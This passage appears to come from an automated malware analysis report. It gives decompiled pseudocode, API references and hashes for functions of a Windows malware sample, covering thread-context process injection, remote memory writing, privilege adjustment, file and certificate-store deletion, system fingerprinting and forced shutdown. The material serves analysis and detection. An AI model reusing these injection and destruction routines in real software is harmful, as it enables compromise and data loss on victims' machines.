							while(PathMatchSpecW( &(_v1116.cFileName),  *(_t75 + _t79 * 4)) == 0) {
								_t79 = _t79 + 1;
								if(_t79 < _a4) {
									continue;
								}
								goto L17;
							}
							_t64 = _a12(_a16);
							__eflags = _t64;
							if(_t64 == 0) {
								break;
							}
							__eflags = _a28;
							if(_a28 != 0) {
								Sleep(_a28);
							}
							goto L17;
						}
					}
					_t48 = FindClose(_v1124);
				}
			}

0x00413a29
0x00413a2b
0x00413a2f
0x00413a36
0x00413b59
0x00413b5f
0x00413b5f
0x00413a49
0x00413a4f
0x00413a56
0x00413a5c
0x00413a5f
0x00413a5f
0x00413a64
0x00000000
0x00000000
0x00413a86
0x00413b38
0x00413b49
0x00000000
0x00000000
0x00000000
0x00413b49
0x00413a90
0x00413a93
0x00413a9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00413aa3
0x00413aa3
0x00413aa6
0x00413ae3
0x00413ae8
0x00413b08
0x00413b0c
0x00413b11
0x00413b11
0x00413b33
0x00413b33
0x00000000
0x00413ae8
0x00413aa8
0x00413aba
0x00413abe
0x00000000
0x00000000
0x00000000
0x00413ac0
0x00413acd
0x00413ad0
0x00413ad2
0x00000000
0x00000000
0x00413ad4
0x00413ad8
0x00413add
0x00413add
0x00000000
0x00413ad8
0x00413a93
0x00413b53
0x00413b53

APIs

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

FindFirstFileW.KERNEL32(?,?,?,?,00000000,?,80000001), ref: 00413A49
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00413A6A
PathMatchSpecW.SHLWAPI(?,?), ref: 00413AB0
Sleep.KERNEL32(00000000), ref: 00413ADD
Sleep.KERNEL32(00000000,?,?), ref: 00413B11
FindNextFileW.KERNEL32(?,?), ref: 00413B41
FindClose.KERNEL32(?), ref: 00413B53

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID:
API String ID: 2348139788-0
Opcode ID: 448eb9416d5e4c8dfdb0ce0114ee93aa8b998f664fe4e8d26b60612629fd6b4e
Instruction ID: 79e3a262747f45af1cbaf0c32ffdb94d8551376312654ea91f4d0159943a6543
Opcode Fuzzy Hash: 448eb9416d5e4c8dfdb0ce0114ee93aa8b998f664fe4e8d26b60612629fd6b4e
Instruction Fuzzy Hash: A841B3711042499BCF21DF14DC48BDF7BA9FF84386F00452AF9D5921A2D33ADA99CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040F901, Relevance: 10.6, APIs: 7, Instructions: 52
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F901(WCHAR* _a4) {
				void* _v12;
				intOrPtr _v16;
				struct _TOKEN_PRIVILEGES _v28;
				int _t23;

				_t23 = 0;
				if(OpenThreadToken(GetCurrentThread(), 0x20, 0,  &_v12) != 0 || OpenProcessToken(0xffffffff, 0x20,  &_v12) != 0) {
					_v28.PrivilegeCount = 1;
					_v16 = 2;
					if(LookupPrivilegeValueW(_t23, _a4,  &(_v28.Privileges)) != 0 && AdjustTokenPrivileges(_v12, _t23,  &_v28, _t23, _t23, _t23) != 0 && GetLastError() == 0) {
						_t23 = 1;
					}
					CloseHandle(_v12);
					return _t23;
				} else {
					return 0;
				}
			}

0x0040f90c
0x0040f920
0x0040f93f
0x0040f947
0x0040f956
0x0040f977
0x0040f977
0x0040f97c
0x00000000
0x0040f934
0x00000000
0x0040f934

APIs

GetCurrentThread.KERNEL32 ref: 0040F911
OpenThreadToken.ADVAPI32(00000000,?,?,?,?,0041CA09,SeTcbPrivilege), ref: 0040F918
OpenProcessToken.ADVAPI32(000000FF,00000020,0041CA09,?,?,?,?,0041CA09,SeTcbPrivilege), ref: 0040F92A
LookupPrivilegeValueW.ADVAPI32(00000000,0041CA09,?), ref: 0040F94E
AdjustTokenPrivileges.ADVAPI32(0041CA09,00000000,00000001,00000000,00000000,00000000), ref: 0040F963
GetLastError.KERNEL32 ref: 0040F96D
CloseHandle.KERNEL32(0041CA09), ref: 0040F97C

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Token$OpenThread$AdjustCloseCurrentErrorHandleLastLookupPrivilegePrivilegesProcessValue
String ID:
API String ID: 2724707430-0
Opcode ID: 59660c3aed379972c2f21d58ec6a4b3b36848b4d6d05e0826d1f7d0fac1bf127
Instruction ID: 3cb9d2ac6e4569489811a6906800dfd85507df9d0017b62e6753c778605db84a
Opcode Fuzzy Hash: 59660c3aed379972c2f21d58ec6a4b3b36848b4d6d05e0826d1f7d0fac1bf127
Instruction Fuzzy Hash: CD0152B1600208BFEB109FE1DC89FAF7BBCEB04385F004036F901F15A0E73489898A68

Uniqueness

Uniqueness Score: -1.00%

Function 0041561A, Relevance: 9.1, APIs: 6, Instructions: 83
threadnativeinjectionCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041561A(void* __edx, void** _a4, void** _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, void* _a32, intOrPtr _a36, intOrPtr _a40, void* _a44) {
				struct _CONTEXT _v720;
				void* __edi;
				void* __esi;
				intOrPtr _t32;
				void* _t36;
				void* _t37;
				void** _t45;
				void* _t46;
				void* _t47;
				void** _t50;
				void* _t52;
				void* _t53;
				signed int _t55;
				void* _t65;

				_t47 = __edx;
				_t45 = _a4;
				_t32 =  *0x4222cc(_t45, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44);
				_a40 = _t32;
				if(_t32 >= 0 && (_a32 & 0x00000001) != 0 && _t45 != 0 && _a8 != 0 && E0040548D() != 0 && GetProcessId( *_t45) != 0) {
					_t36 = E004052B0(_t46, _t47, _t35);
					_a44 = _t36;
					_t63 = _t36;
					if(_t36 != 0) {
						_push(_t52);
						_t37 = E004053A2(_t46,  *_t45, _t52, _t63, _t36, 0);
						_t50 = _a8;
						_t53 = _t37;
						_a32 = _t53;
						_t55 = _t53 -  *0x4222bc + E00405B20;
						_v720.ContextFlags = 0x10003;
						if(GetThreadContext( *_t50,  &_v720) == 0) {
							L12:
							VirtualFreeEx( *_t45, _a32, 0, 0x8000);
						} else {
							_t65 = _v720.Eip -  *0x4222d4; // 0x7711ba60
							if(_t65 != 0) {
								goto L12;
							} else {
								if(( *0x4222a8 & 0x00000010) != 0) {
									_t55 = _t55 ^ _v720.Eax;
								}
								_v720.Eax = _t55;
								_v720.ContextFlags = 0x10002;
								if(SetThreadContext( *_t50,  &_v720) == 0) {
									goto L12;
								}
							}
						}
						CloseHandle(_a44);
					}
				}
				return _a40;
			}

0x0041561a
0x00415627
0x00415646
0x0041564c
0x00415651
0x00415691
0x00415696
0x00415699
0x0041569b
0x004156a1
0x004156a8
0x004156ad
0x004156b0
0x004156b8
0x004156c4
0x004156ca
0x004156dc
0x0041571e
0x0041572a
0x004156de
0x004156e4
0x004156ea
0x00000000
0x004156ec
0x004156f3
0x004156f5
0x004156f5
0x00415704
0x0041570a
0x0041571c
0x00000000
0x00000000
0x0041571c
0x004156ea
0x00415733
0x0041573a
0x0041569b
0x00415740

APIs

NtCreateUserProcess.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 00415646

Part of subcall function 0040548D: WaitForSingleObject.KERNEL32(00000000,004094C0,?,?,19367402,00000001), ref: 00405495

GetProcessId.KERNEL32(?), ref: 00415682

Part of subcall function 004052B0: CreateMutexW.KERNEL32(004222E0,00000001,?,00422520,?,?,00000002,?,?), ref: 00405301
Part of subcall function 004052B0: GetLastError.KERNEL32 ref: 0040530D
Part of subcall function 004052B0: CloseHandle.KERNEL32(00000000), ref: 0040531B

GetThreadContext.KERNEL32(00000000,?,00000000,00000000,?,?,00000000), ref: 004156D4
SetThreadContext.KERNEL32(00000000,00010003,?,?,00000000), ref: 00415714
VirtualFreeEx.KERNEL32(?,00000001,00000000,00008000,?,?,00000000), ref: 0041572A
CloseHandle.KERNEL32(?,?,?,00000000), ref: 00415733

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseContextCreateHandleProcessThread$ErrorFreeLastMutexObjectSingleUserVirtualWait
String ID:
API String ID: 1044471028-0
Opcode ID: 5b6079ddc98ef8758c26927bbbbeeac377ec4f87e290c98eae36c40aba41d8f2
Instruction ID: e688a085b5a6b3785af89f898098bda2f1aa6b605ca2ee2f90a80e3497cf6b43
Opcode Fuzzy Hash: 5b6079ddc98ef8758c26927bbbbeeac377ec4f87e290c98eae36c40aba41d8f2
Instruction Fuzzy Hash: FC315831501619EBDF229F65CE49FDE3BB9AF48354F0441A6FD18A62A0C375D890CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB15, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 189
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E0041DB15(char* __ecx, void* __edx, signed int _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				char _v20;
				char _v64;
				char _v552;
				char _v556;
				short _v588;
				void* __ebx;
				void* __esi;
				signed int _t62;
				signed int _t64;
				signed int _t65;
				signed short _t71;
				signed short _t75;
				void* _t92;
				void* _t95;
				void* _t97;
				signed short _t99;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t109;
				signed int _t111;
				char* _t112;
				void* _t113;

				_t109 = __edx;
				_t106 = __ecx;
				_t111 = _a4;
				_t114 =  *_t111;
				_t99 = 1;
				_v5 = 0;
				if( *_t111 == 0) {
					_t97 = E00413C92(_t114);
					 *_t111 = _t97;
					if(_t97 == 0) {
						return 0;
					}
					_v5 = 1;
				}
				__eflags = _a8 & 0x00000001;
				if((_a8 & 0x00000001) == 0) {
					L9:
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) != 0) {
						_push( &_v12);
						_push(0x20000);
						_push(0x2713);
						_t105 = 4;
						_v12 = 0x201080e;
						_t99 = E00413CA6(_t111, _t105);
					}
					L11:
					__eflags = _a8 & 0x00000004;
					if((_a8 & 0x00000004) == 0) {
						L16:
						__eflags = _t99;
						if(_t99 == 0) {
							L32:
							__eflags = _v5 - 1;
							if(_v5 == 1) {
								E0040E235( *_t111);
								 *_t111 =  *_t111 & 0x00000000;
								__eflags =  *_t111;
							}
							L34:
							return _t99;
						}
						__eflags = _a8 & 0x00000008;
						if((_a8 & 0x00000008) == 0) {
							L20:
							__eflags = _t99;
							if(_t99 == 0) {
								goto L32;
							}
							__eflags = _a8 & 0x00000010;
							if((_a8 & 0x00000010) == 0) {
								L28:
								__eflags = _t99;
								if(_t99 == 0) {
									goto L32;
								}
								__eflags = _a8 & 0x00000020;
								if((_a8 & 0x00000020) != 0) {
									E0041DA61(_t106, _t111, 2);
									E0041DA61(_t106, _t111, 0x17);
								}
								goto L34;
							}
							_t62 = GetModuleFileNameW(0,  &_v588, 0x103);
							_a4 = _t62;
							__eflags = _t62;
							if(_t62 != 0) {
								__eflags = 0;
								 *((short*)(_t113 + _t62 * 2 - 0x248)) = 0;
								_t106 =  &_v588;
								_t99 = E00413D53(_t62,  &_v588, _t109, 0, _t111, 0x271e);
							}
							_a4 = 0x104;
							__eflags = _t99;
							if(_t99 == 0) {
								goto L32;
							} else {
								_t64 =  &_v588;
								__imp__GetUserNameExW(2, _t64,  &_a4);
								__eflags = _t64;
								if(_t64 != 0) {
									_t65 = _a4;
									__eflags = _t65;
									if(_t65 != 0) {
										__eflags = 0;
										 *((short*)(_t113 + _t65 * 2 - 0x248)) = 0;
										_t106 =  &_v588;
										_t99 = E00413D53(_t65,  &_v588, _t109, 0, _t111, 0x271f);
									}
								}
								goto L28;
							}
						}
						_t112 =  &_v20;
						E0041C2B0(_t112);
						_push(_t112);
						_push(0x20000);
						_push(0x271c);
						_t100 = 6;
						_t71 = E00413CA6(_a4, _t100);
						_t99 = _t71;
						__eflags = _t99;
						if(_t99 == 0) {
							_t111 = _a4;
							goto L32;
						}
						__imp__GetUserDefaultUILanguage();
						_v12 = _t71 & 0x0000ffff;
						_push( &_v12);
						_push(0x20000);
						_push(0x271d);
						_t101 = 2;
						_t75 = E00413CA6(_a4, _t101);
						_t111 = _a4;
						_t99 = _t75;
						goto L20;
					}
					__eflags = _t99;
					if(_t99 == 0) {
						goto L32;
					}
					_v12 = E0040E337();
					_push( &_v12);
					_push(0x20000);
					_push(0x2719);
					_t102 = 4;
					_t99 = E00413CA6(_t111, _t102);
					__eflags = _t99;
					if(_t99 == 0) {
						goto L32;
					}
					_v12 = E0040E35F();
					_push( &_v12);
					_push(0x20000);
					_push(0x271b);
					_t103 = 4;
					_t99 = E00413CA6(_t111, _t103);
					__eflags = _t99;
					if(_t99 == 0) {
						goto L32;
					}
					_v12 = GetTickCount();
					_push( &_v12);
					_push(0x20000);
					_push(0x271a);
					_t104 = 4;
					_t99 = E00413CA6(_t111, _t104);
					goto L16;
				}
				_t92 = E00405633(_t106,  &_v556);
				_t106 =  &_v552;
				_t99 = E00413D53(_t92,  &_v552, _t109, __eflags, _t111, 0x2711);
				__eflags = _t99;
				if(_t99 == 0) {
					goto L11;
				}
				_t95 = E00405793( &_v552,  &_v64);
				__eflags = _v64;
				if(__eflags != 0) {
					_t106 =  &_v64;
					_t99 = E00413D53(_t95,  &_v64, _t109, __eflags, _t111, 0x2712);
				}
				__eflags = _t99;
				if(_t99 == 0) {
					goto L11;
				}
				goto L9;
			}

0x0041db15
0x0041db15
0x0041db20
0x0041db23
0x0041db27
0x0041db29
0x0041db2d
0x0041db2f
0x0041db34
0x0041db38
0x00000000
0x0041db3a
0x0041db41
0x0041db41
0x0041db45
0x0041db4e
0x0041db97
0x0041db97
0x0041db9b
0x0041dba0
0x0041dba1
0x0041dba2
0x0041dba9
0x0041dbac
0x0041dbb8
0x0041dbb8
0x0041dbba
0x0041dbba
0x0041dbbe
0x0041dc33
0x0041dc33
0x0041dc35
0x0041dd38
0x0041dd38
0x0041dd3c
0x0041dd40
0x0041dd45
0x0041dd45
0x0041dd45
0x0041dd48
0x00000000
0x0041dd48
0x0041dc3b
0x0041dc3f
0x0041dc8d
0x0041dc8d
0x0041dc8f
0x00000000
0x00000000
0x0041dc95
0x0041dc99
0x0041dd19
0x0041dd19
0x0041dd1b
0x00000000
0x00000000
0x0041dd1d
0x0041dd21
0x0041dd26
0x0041dd2e
0x0041dd2e
0x00000000
0x0041dd21
0x0041dca9
0x0041dcaf
0x0041dcb2
0x0041dcb4
0x0041dcb6
0x0041dcbd
0x0041dcc6
0x0041dcd1
0x0041dcd1
0x0041dcd3
0x0041dcda
0x0041dcdc
0x00000000
0x0041dcde
0x0041dce2
0x0041dceb
0x0041dcf1
0x0041dcf3
0x0041dcf5
0x0041dcf8
0x0041dcfa
0x0041dcfc
0x0041dd03
0x0041dd0c
0x0041dd17
0x0041dd17
0x0041dcfa
0x00000000
0x0041dcf3
0x0041dcdc
0x0041dc41
0x0041dc44
0x0041dc4b
0x0041dc4f
0x0041dc50
0x0041dc57
0x0041dc58
0x0041dc5d
0x0041dc5f
0x0041dc61
0x0041dd35
0x00000000
0x0041dd35
0x0041dc67
0x0041dc70
0x0041dc76
0x0041dc7a
0x0041dc7b
0x0041dc82
0x0041dc83
0x0041dc88
0x0041dc8b
0x00000000
0x0041dc8b
0x0041dbc0
0x0041dbc2
0x00000000
0x00000000
0x0041dbcd
0x0041dbd3
0x0041dbd4
0x0041dbd5
0x0041dbdc
0x0041dbe4
0x0041dbe6
0x0041dbe8
0x00000000
0x00000000
0x0041dbf3
0x0041dbf9
0x0041dbfa
0x0041dbfb
0x0041dc02
0x0041dc0a
0x0041dc0c
0x0041dc0e
0x00000000
0x00000000
0x0041dc1a
0x0041dc20
0x0041dc21
0x0041dc22
0x0041dc29
0x0041dc31
0x00000000
0x0041dc31
0x0041db57
0x0041db62
0x0041db6d
0x0041db6f
0x0041db71
0x00000000
0x00000000
0x0041db77
0x0041db7c
0x0041db81
0x0041db89
0x0041db91
0x0041db91
0x0041db93
0x0041db95
0x00000000
0x00000000
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0041DC14
GetUserDefaultUILanguage.KERNEL32(0000271C,00020000,?,00000000,000000FF,00000000), ref: 0041DC67
GetModuleFileNameW.KERNEL32(00000000,?,00000103,00000000,000000FF,00000000), ref: 0041DCA9
GetUserNameExW.SECUR32(00000002,?,00000104), ref: 0041DCEB

Strings

, xrefs: 0041DD1D

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: NameUser$CountDefaultFileLanguageModuleTick
String ID:
API String ID: 2256650695-3916222277
Opcode ID: 4cb0d482e5a9ec50b624f173ba75fd0cee72aeb3019a3b7d7aece55bff8d5497
Instruction ID: 3a88ed753c34beccba3746e8477b647cc4868e816d598c8c120ba9d83bb24af7
Opcode Fuzzy Hash: 4cb0d482e5a9ec50b624f173ba75fd0cee72aeb3019a3b7d7aece55bff8d5497
Instruction Fuzzy Hash: B551D9B1E842487AD7109F65DC4AFDE7BA89F41304F04405BB949AF2D2E77C9AC4CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00413951, Relevance: 7.6, APIs: 5, Instructions: 61
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413951(WCHAR* __ecx, void* __eflags) {
				struct _WIN32_FIND_DATAW _v596;
				short _v1116;
				WCHAR* _t38;
				void* _t42;

				_t38 = __ecx;
				if(E00413B62("*",  &_v1116, __ecx) == 0) {
					L9:
					SetFileAttributesW(_t38, 0x80);
					return RemoveDirectoryW(_t38) & 0xffffff00 | _t19 != 0x00000000;
				}
				_t42 = FindFirstFileW( &_v1116,  &_v596);
				if(_t42 == 0xffffffff) {
					goto L9;
				} else {
					goto L2;
				}
				do {
					L2:
					if(E0041376D( &(_v596.cFileName)) == 0 && E00413B62( &(_v596.cFileName),  &_v1116, _t38) != 0) {
						_t51 = _v596.dwFileAttributes & 0x00000010;
						if((_v596.dwFileAttributes & 0x00000010) == 0) {
							E0041363E( &_v1116);
						} else {
							E00413951( &_v1116, _t51);
						}
					}
				} while (FindNextFileW(_t42,  &_v596) != 0);
				FindClose(_t42);
				goto L9;
			}

0x0041395f
0x00413973
0x004139ee
0x004139f4
0x00413a0b
0x00413a0b
0x00413988
0x0041398d
0x00000000
0x00000000
0x00000000
0x00000000
0x0041398f
0x0041398f
0x0041399d
0x004139b5
0x004139bd
0x004139cf
0x004139bf
0x004139c3
0x004139c3
0x004139bd
0x004139e3
0x004139e8
0x00000000

APIs

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 00413982
FindNextFileW.KERNEL32(00000000,?,?,00000000), ref: 004139DD
FindClose.KERNEL32(00000000,?,00000000), ref: 004139E8
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,00000000), ref: 004139F4
RemoveDirectoryW.KERNEL32(?,?,00000000), ref: 004139FB

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$AttributesCloseCombineDirectoryFirstNextPathRemove
String ID:
API String ID: 765042924-0
Opcode ID: 82ccb6e508c812c4d24b73d3b66cad46314412db1bd2dc07dbe018c60be5cad7
Instruction ID: 9c48f02eeb96fbdabd83ac4b3b27bd37536008a90eec36499577922cd9ca33d1
Opcode Fuzzy Hash: 82ccb6e508c812c4d24b73d3b66cad46314412db1bd2dc07dbe018c60be5cad7
Instruction Fuzzy Hash: 7B112BB20042045BC320EF65DC4DAEB73DC9F85315F00453FF999E2191EF789A848759

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5AA, Relevance: 7.5, APIs: 5, Instructions: 36encryptionCOMMON

Download Yara Rule

APIs

CertOpenSystemStoreW.CRYPT32(00000000,00404558), ref: 0041C5B5
CertDuplicateCertificateContext.CRYPT32(00000000), ref: 0041C5CE
CertDeleteCertificateFromStore.CRYPT32(00000000,?,?,00000001,00405A90), ref: 0041C5D9
CertEnumCertificatesInStore.CRYPT32(00000000,00000000), ref: 0041C5E1
CertCloseStore.CRYPT32(00000000,00000000), ref: 0041C5ED

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Cert$Store$Certificate$CertificatesCloseContextDeleteDuplicateEnumFromOpenSystem
String ID:
API String ID: 1842529175-0
Opcode ID: a92946354e7afdc96384b99478d40cf0de8cb09efcd574c8eb9c2cda6c25423b
Instruction ID: 87c146aa8051b95772256d0e86c3cd4042b309e1fd8d6146546218f8d61329db
Opcode Fuzzy Hash: a92946354e7afdc96384b99478d40cf0de8cb09efcd574c8eb9c2cda6c25423b
Instruction Fuzzy Hash: 4CF0E5322C1260B7D72117396D5DFFBB76D9B82BA1B040123FA84F36609E38A9C1857C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBFD, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040DBFD() {
				signed int _v124;
				signed char _t12;
				unsigned int _t15;
				void* _t23;

				_t12 =  *0x4228cc; // 0x0
				if((_t12 & 0x00000010) == 0) {
					__eflags = _t12 & 0x00000008;
					if(__eflags != 0) {
						E0041D515(_t23, __eflags);
						_t12 =  *0x4228cc; // 0x0
					}
					__eflags = _t12 & 0x00000003;
					if((_t12 & 0x00000003) == 0) {
						__eflags = _t12 & 0x00000004;
						if((_t12 & 0x00000004) != 0) {
							goto L8;
						}
						goto L9;
					} else {
						E0040F901(L"SeShutdownPrivilege");
						_t15 =  *0x4228cc; // 0x0
						__eflags = 0;
						__imp__InitiateSystemShutdownExW(0, 0, 0, 1, _t15 >> 0x00000001 & 0x00000001, 0x80000000);
						return 0;
					}
				} else {
					_t12 = E0040D207( &_v124);
					if(_t12 != 0) {
						_v124 = _v124 | 0x00000020;
						 *0x4222a8 =  *0x4222a8 | 0x00000010;
						E0040D25F( &_v124);
						L8:
						return ExitWindowsEx(0x14, 0x80000000);
					}
					L9:
					return _t12;
				}
			}

0x0040dc00
0x0040dc0a
0x0040dc2f
0x0040dc31
0x0040dc33
0x0040dc38
0x0040dc38
0x0040dc3d
0x0040dc3f
0x0040dc6a
0x0040dc6c
0x00000000
0x00000000
0x00000000
0x0040dc41
0x0040dc46
0x0040dc4b
0x0040dc5d
0x0040dc62
0x0040dc69
0x0040dc69
0x0040dc0c
0x0040dc10
0x0040dc17
0x0040dc19
0x0040dc1d
0x0040dc28
0x0040dc6e
0x00000000
0x0040dc75
0x0040dc7c
0x0040dc7c
0x0040dc7c

APIs

InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000001,00000000,80000000), ref: 0040DC62

Part of subcall function 0040D207: CreateMutexW.KERNEL32(004222E0,00000000,00422938,?,?,0041E956,?,?,?,743C152E,00000002), ref: 0040D22D

ExitWindowsEx.USER32(00000014,80000000), ref: 0040DC75

Strings

SeShutdownPrivilege, xrefs: 0040DC41
, xrefs: 0040DC19

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateExitInitiateMutexShutdownSystemWindows
String ID: $SeShutdownPrivilege
API String ID: 3829579691-2253681161
Opcode ID: 7d80193092ecc71cf85f8e08fa4e18ddcb355b8b300f2624b8d8453651fd2f5c
Instruction ID: 84668fa5a2deb84adef161be1cafe0aac3832400f98b3e8509905783d47d1029
Opcode Fuzzy Hash: 7d80193092ecc71cf85f8e08fa4e18ddcb355b8b300f2624b8d8453651fd2f5c
Instruction Fuzzy Hash: 2FF0867190420869FB24ABF45D4AFAA3B6C9B01748F54447AA9D1F31F2C7B9E44AC62C

Uniqueness

Uniqueness Score: -1.00%

Function 00412C3E, Relevance: 6.1, APIs: 4, Instructions: 94
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412C3E(void* __eax, void* _a4) {
				char _v5;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				long _v24;
				void* _t37;
				void* _t42;
				intOrPtr* _t43;
				int _t44;
				long _t46;
				void* _t47;
				SIZE_T* _t48;
				signed int _t50;
				void* _t52;
				void* _t54;
				void* _t55;
				void* _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				unsigned int _t64;

				_t55 = __eax;
				_t1 = _t55 + 0x3c; // 0xd8
				_t60 =  *_t1 + __eax;
				_t46 =  *(_t60 + 0x50);
				_v24 = _t46;
				_v5 = 0;
				if(IsBadReadPtr(__eax, _t46) == 0) {
					_t37 = VirtualAllocEx(_a4, 0, _t46, 0x3000, 0x40);
					_v12 = _t37;
					__eflags = _t37;
					if(__eflags == 0) {
						L17:
						return _v12;
					}
					_t47 = E0040E288(__eflags, _t55, _t46);
					_t48 = 0;
					__eflags = _t47;
					if(_t47 == 0) {
						L16:
						VirtualFreeEx(_a4, _v12, 0, 0x8000);
						_t32 =  &_v12;
						 *_t32 = _v12 & 0x00000000;
						__eflags =  *_t32;
						goto L17;
					}
					__eflags =  *(_t60 + 0xa4);
					if( *(_t60 + 0xa4) <= 0) {
						L15:
						E0040E235(_t47);
						__eflags = _v5;
						if(_v5 != 0) {
							goto L17;
						}
						goto L16;
					}
					_t42 =  *(_t60 + 0xa0);
					__eflags = _t42;
					if(_t42 <= 0) {
						goto L15;
					}
					_t61 =  *((intOrPtr*)(_t60 + 0x34));
					_t54 = _v12 - _t61;
					_v20 = _t55 - _t61;
					_t43 = _t42 + _t47;
					while(1) {
						__eflags =  *_t43 - _t48;
						if( *_t43 == _t48) {
							break;
						}
						_t62 =  *((intOrPtr*)(_t43 + 4));
						__eflags = _t62 - 8;
						if(_t62 < 8) {
							L12:
							_t43 = _t43 +  *((intOrPtr*)(_t43 + 4));
							_t48 = 0;
							__eflags = 0;
							continue;
						}
						_t64 = _t62 + 0xfffffff8 >> 1;
						__eflags = _t64;
						_v16 = _t48;
						if(_t64 == 0) {
							goto L12;
						} else {
							goto L9;
						}
						do {
							L9:
							_t50 =  *(_t43 + 8 + _v16 * 2) & 0x0000ffff;
							__eflags = _t50;
							if(_t50 != 0) {
								_t52 = (_t50 & 0x00000fff) +  *_t43;
								_t19 = _t52 + _t47;
								 *_t19 =  *(_t52 + _t47) + _t54 - _v20;
								__eflags =  *_t19;
							}
							_v16 = _v16 + 1;
							__eflags = _v16 - _t64;
						} while (_v16 < _t64);
						goto L12;
					}
					_t44 = WriteProcessMemory(_a4, _v12, _t47, _v24, _t48);
					__eflags = _t44;
					_t28 =  &_v5;
					 *_t28 = _t44 != 0;
					__eflags =  *_t28;
					goto L15;
				}
				return 0;
			}

0x00412c47
0x00412c49
0x00412c4c
0x00412c4e
0x00412c53
0x00412c56
0x00412c62
0x00412c78
0x00412c7e
0x00412c81
0x00412c83
0x00412d39
0x00000000
0x00412d39
0x00412c90
0x00412c92
0x00412c94
0x00412c96
0x00412d22
0x00412d2f
0x00412d35
0x00412d35
0x00412d35
0x00000000
0x00412d35
0x00412c9c
0x00412ca2
0x00412d16
0x00412d17
0x00412d1c
0x00412d20
0x00000000
0x00000000
0x00000000
0x00412d20
0x00412ca4
0x00412caa
0x00412cac
0x00000000
0x00000000
0x00412cae
0x00412cb6
0x00412cb8
0x00412cbb
0x00412cfb
0x00412cfb
0x00412cfd
0x00000000
0x00000000
0x00412cbf
0x00412cc2
0x00412cc5
0x00412cf6
0x00412cf6
0x00412cf9
0x00412cf9
0x00000000
0x00412cf9
0x00412cca
0x00412cca
0x00412ccc
0x00412ccf
0x00000000
0x00000000
0x00000000
0x00000000
0x00412cd1
0x00412cd1
0x00412cd4
0x00412cd9
0x00412cdc
0x00412ce4
0x00412ceb
0x00412ceb
0x00412ceb
0x00412ceb
